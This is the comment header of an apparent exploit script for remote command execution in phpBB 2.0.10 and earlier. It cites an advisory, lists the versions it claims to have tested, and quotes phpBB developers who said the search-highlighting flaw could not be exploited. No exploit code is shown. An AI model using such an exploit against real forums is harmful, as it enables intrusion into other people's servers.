## phpBB <= 2.0.10 remote commands exec exploit
## based on http://securityfocus.com/archive/1/380993/2004-11-07/2004-11-13/0
## succesfully tested on: 2.0.6 , 2.0.8 , 2.0.9 , 2.0.10
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## example...
## he-he-he ... read http://www.phpbb.com/phpBB/viewtopic.php?t=239819
## The third issue, search highlighting, has been checked by us several times and we can do 
## nothing with it at all. Again, that particular group admit likewise. In a future release 
## of 2.0.x we will eliminate the problem once and for all, but as noted it cannot (to our 
## knowledge and as noted, testing) be taken advantage of and thus is not considered by us to 
## be cause for an immediate release.
